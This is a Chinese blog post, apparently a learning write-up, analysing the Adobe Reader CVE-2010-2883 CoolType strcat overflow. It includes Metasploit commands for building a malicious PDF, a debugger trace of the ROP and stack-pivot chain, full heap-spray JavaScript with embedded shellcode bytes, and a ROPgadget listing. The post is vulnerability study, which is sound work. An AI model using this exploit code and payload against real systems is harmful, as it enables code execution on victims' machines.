0%

漏洞分析学习之cve-2010-2883

漏洞分析学习之cve-2010-2883

前言

打ctf打久了,也该学学漏洞分析了,不可能以后的工作就是打ctf吧,照着漏洞战争这本书开始学习吧

环境配置

adobe_reader_9.0_download

win_xp_sp3

vmware 自己下吧

工具:

  • 吾爱破解od
  • 010editor
  • PdfStreamDumper

配好环境后 开始动工

样本生成

先生成一个弹calc的吧

1
2
3
4
5
6
7
search adobe_cooltype_sing
use exploit/windows/fileformat/adobe_cooltype_sing/
set PAYLOAD windows/exec
set CMD calc.exe
show option
set FILENAME cve2010.pdf
exploit

放到虚拟机

运行起来

分析

漏洞点查找

如果让我审一个软件的话,这太难了。。光敏感函数都可能有好多吧,比如这里就是strcat,
这个strcat是个敏感函数,让我纯手动审出这个点,我觉得对于现在的我来说不现实,所以,漏洞点这部分直接过了吧,假设已知漏洞点,利用吧

漏洞利用

玩惯了ctf, 通常pwn题就是给个exp就可以一把梭,编写exp也是门艺术,那是python语言,现在这个要产生exp,emm,就是用msf这个框架了,我们要生成一个pdf,方便我们利用,所以开始我们的学习旅程吧,学ruby,学js

发觉从头开始构造太难了,直接分析部分代码吧,我看了下pdf构造部分。。好麻烦,所以应该抽丝剥茧,将pdf构造和原理部分分开,

我这边只分析下ROP链过程,因为我只会这部分,pdf构造还不会

至于pdf部分,还是用现成的吧。。还要看官方文档来构造

ROP链

用ida打开CoolType.dll库(这个库在adobe_reader目录下),搜索SING,定位到这个函数,看到strcat,盲猜也是这里有问题了,

其余具体漏洞战争那本书已经讲了,照着样本分析部分做一遍

010editor可以设置模板解析文件,网上下个模板就行
下载地址

dump出结构数据,查看SING部分

根据ida那里获得的地址下断,

断在这里,

看strcat部分,是将恶意数据复制到ebp所指地点

继续f8单步,单步到这里执行直接弹计算器了,下断再次运行,这里如果弹到7C地址处,可以按减号回退到地址处
0803DDA8 E8 E98DFDFF call CoolType.08016B96

再次运行在
08016C0E E8 C64E0000 call CoolType.0801BAD9
这里跑起来了,继续重复
0801BAF9 FF10 call dword ptr ds:[eax] ; CoolType.0808AFCE

再次重复

最后定位到这里
0808B1C0 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38

F7进去
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E |. C9 leave
4A80CB3F . C3 retn

发觉进行了栈底的提高,

发觉这个栈迁移到我们原来写入的地方了

也就是说我们控制了eip,从图中还可以看出,这是c++的虚表攻击,覆盖了虚表指针,让他跳转到这里,然后进行了栈迁移

这里在将栈迁移到0x0C0C0C0C部分,很容易联想到heap spray,大概就是将eip转到对去的0x0C0C0C0C部分,然后用js申请大量堆内存,并且包含着slide(滑板)和shellcode的内存片,申请的内存超过200M就可以大于0x0C0C0C0C,然后通过滑板对shellcode无影响,提高shellcode命中执行率

后面继续执行创建临时文件

└──╼ $strings icucnv36.dll|grep iso
iso-ir-165
iso88591
iso2022

这里从库中存的取出任意都行,不一定得iso这个,不过可能这个好找?
然后执行函数,参数都放栈里了

后面的函数同理可得

创建CreateFileMap

接着MapViewOfFile

在接下去memcpy

然后是shellcode

映射部分

createfilemapping 用来建立内存映象文件,原型如下:
HANDLE CreateFileMapping(
HANDLE hFile, //文件句柄
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
DWORD flProtect, // 映象文件保护方式
DWORD dwMaximumSizeHigh, // 映象文件区域的底值
DWORD dwMaximumSizeLow, // 映象文件区域的顶值
LPCTSTR lpName // 映象文件的名字 );

mapviewoffile用来访问映象文件,该函数会返回一个指向共享内存块的特定指针。原型如下:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // 映象文件句柄
DWORD dwDesiredAccess, // 访问方式
DWORD dwFileOffsetHigh, // 映象文件区域的底值
DWORD dwFileOffsetLow, // 映象文件区域的顶值
DWORD dwNumberOfBytesToMap // 映射字节数 );
其中如果 dwNumberOfBytesToMap 是0,表示映射整个文件。

然后在复制shellcode

整个攻击流程就是通过strcat溢出,攻击虚表指针,然后通过ROP,移动到我们的栈位置,在通过栈迁移,移动到0x0C0C0C0C部分(联想到堆喷射),在接着就是通过ROP执行shellcode,整体流程就是这样
动态复现部分就是这样

heap spray

通过PdfStreamDumper dump出js数据

1
2
3
4
5
6
7
8
9
10
11
12
var kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy = unescape;
var xzZCr = kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' );
var PtsP = kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (PtsP.length + 20 + 8 < 65536) PtsP+=PtsP;
QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS = PtsP.substring(0, (0x0c0c-0x24)/2);
QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS += xzZCr;
QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS += PtsP;
LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF = QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS.substring(0, 65536/2);
while(LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF.length < 0x80000) LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF += LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF;
vYpKSywUKtOzmIcaRAYPqZsGKRQBZeikke = LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF.substring(0, 0x80000 - (0x1020-0x08) / 2);
var kXBj = new Array();
for (bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu=0;bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu<0x1f0;bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu++) kXBj[bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu]=vYpKSywUKtOzmIcaRAYPqZsGKRQBZeikke+"s";

emm, msf生成的这个变量命名有点长啊,不过大概还是能看懂的,毕竟这种命名规范逆向都遇到过。。。
将他解成易懂的代码吧

1
2
3
4
5
6
7
8
9
10
11
var a = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' );
var b = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while(b.length + 20 + 8 < 0x10000) b+=b;
c = b.substring(0, (0x0c0c-0x24)/2);
c += a;
c += b;
d = c/substring(0, 0x10000/2);
while(d.length < 0x80000) d += d;
e = d.substring(0, 0x80000 - (0x1020-0x08)/2);
var array = new Array();
for(i=0; i < 0x1f0; i++) array[i] = e + "s"

我这命名规范别喷了。。。我也知道菜。不知道命名成啥
b就是0x0C0C0C0C,滑板来的,代码就是or al,0x0c,这种滑板
emm

顺便分析下吧,

1
2
3
4
while(b.length + 20 + 8 < 0x10000) b+=b;
c = b.substring(0, (0x0c0c-0x24)/2);
c += a;
c += b;

这部分,就是计算到1/10mb,这里以1/10mb为一个单元块,在减掉结构部分大小,加上shellcode
然后在填充8份

1
2
while(d.length < 0x80000) d += d;
e = d.substring(0, 0x80000 - (0x1020-0x08)/2);

最后便是关键

1
for(i=0; i < 0x1f0; i++) array[i] = e + "s"

这里是以0x80000为一个单位块

1
2
>>> hex(0x80000*0x1f0)
'0xf800000'

所以这里实际上早就超过了0x0C0C0C0C,所以只要ROP迁移到这里,就可以执行shellcode的了

思考

  1. 假设给你一个恶意pdf,如何快速分析找到漏洞点?
  2. 如何进行修复

第一个问题,我目前只会找敏感函数,所以暂时放着了

第二个修复部分,用strncat就可以了,带长度的,后面修复就是通过strncat加上动态分配,这样就没有栈溢出了

总结

  1. 我觉得难的部分还是pdf的构造。我不会构造这部分,emm
  2. rop部分一样可以用ROPgadget获得
    └──╼ $ROPgadget –binary icucnv36.dll | grep ‘add ebp’
    0x4a805afc : add al, 0 ; add ebp, 0x1fc ; leave ; ret
    0x4a82748c : add al, 0x75 ; add ebp, dword ptr [edx + 2] ; pop eax ; ret
    0x4a8221c2 : add al, byte ptr [eax] ; add ebp, 0x104 ; leave ; ret 4
    0x4a81fba6 : add al, byte ptr [eax] ; add ebp, 0x148 ; leave ; ret
    0x4a81fe1a : add al, byte ptr [eax] ; add ebp, 0x160 ; leave ; ret
    0x4a8225b1 : add al, byte ptr [eax] ; add ebp, 0x18c ; leave ; ret
    0x4a82683d : add al, byte ptr [eax] ; add ebp, 0x394 ; leave ; ret
    0x4a8241b7 : add al, byte ptr [eax] ; add ebp, 0x3a0 ; leave ; ret
    0x4a825227 : add al, byte ptr [eax] ; add ebp, 0x60 ; leave ; ret
    0x4a82038e : add al, byte ptr [eax] ; add ebp, 0x64 ; leave ; ret
    0x4a825011 : add al, byte ptr [eax] ; add ebp, 0x6c ; leave ; ret
    0x4a8239f5 : add al, byte ptr [eax] ; add ebp, 0x6c ; leave ; ret 0xc
    0x4a82391a : add al, byte ptr [eax] ; add ebp, 0x70 ; leave ; ret 8
    0x4a82536d : add al, byte ptr [eax] ; add ebp, 0x78 ; leave ; ret
    0x4a8233a0 : add al, byte ptr [eax] ; add ebp, 0x84 ; leave ; ret
    0x4a82365f : add al, byte ptr [eax] ; add ebp, 0x88 ; leave ; ret
    0x4a825594 : add al, byte ptr [eax] ; add ebp, 0x90 ; leave ; ret
    0x4a826235 : add al, byte ptr [eax] ; add ebp, 0xb0 ; leave ; ret
    0x4a83892d : add byte ptr [eax], al ; add ebp, 0x18c ; leave ; ret 0xc
    0x4a84126f : add byte ptr [eax], al ; add ebp, 0x210 ; leave ; ret
    0x4a84040c : add byte ptr [eax], al ; add ebp, 0x398 ; leave ; ret 0x18
    0x4a83bf56 : add byte ptr [eax], al ; add ebp, 0x474 ; leave ; ret
    0x4a841791 : add byte ptr [eax], al ; add ebp, 0x60 ; leave ; ret
    0x4a83989a : add byte ptr [eax], al ; add ebp, 0x64 ; leave ; ret 0x14
    0x4a83909d : add byte ptr [eax], al ; add ebp, 0xc0 ; leave ; ret 4
    0x4a827f19 : add dword ptr [eax], eax ; add ebp, 0x17c ; leave ; ret
    0x4a828f1f : add dword ptr [eax], eax ; add ebp, 0x1cb4 ; leave ; ret
    0x4a82b5f2 : add dword ptr [eax], eax ; add ebp, 0x264 ; leave ; ret 0xc
    0x4a82b10e : add dword ptr [eax], eax ; add ebp, 0x40c ; leave ; ret 0x18
  3. 至于攻击过程,这是以前洞的一个常见思路,创建临时文件,然后内存映射,最后复制shellcode
  4. pdf构造可以参考 参考链接中的安全客师傅发的

参考链接

深入浅出讲pdf恶意文档
PDF, Let Me Count the Ways…
安全客师傅分析

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/78c3679c/
版权声明:转载请注明出处!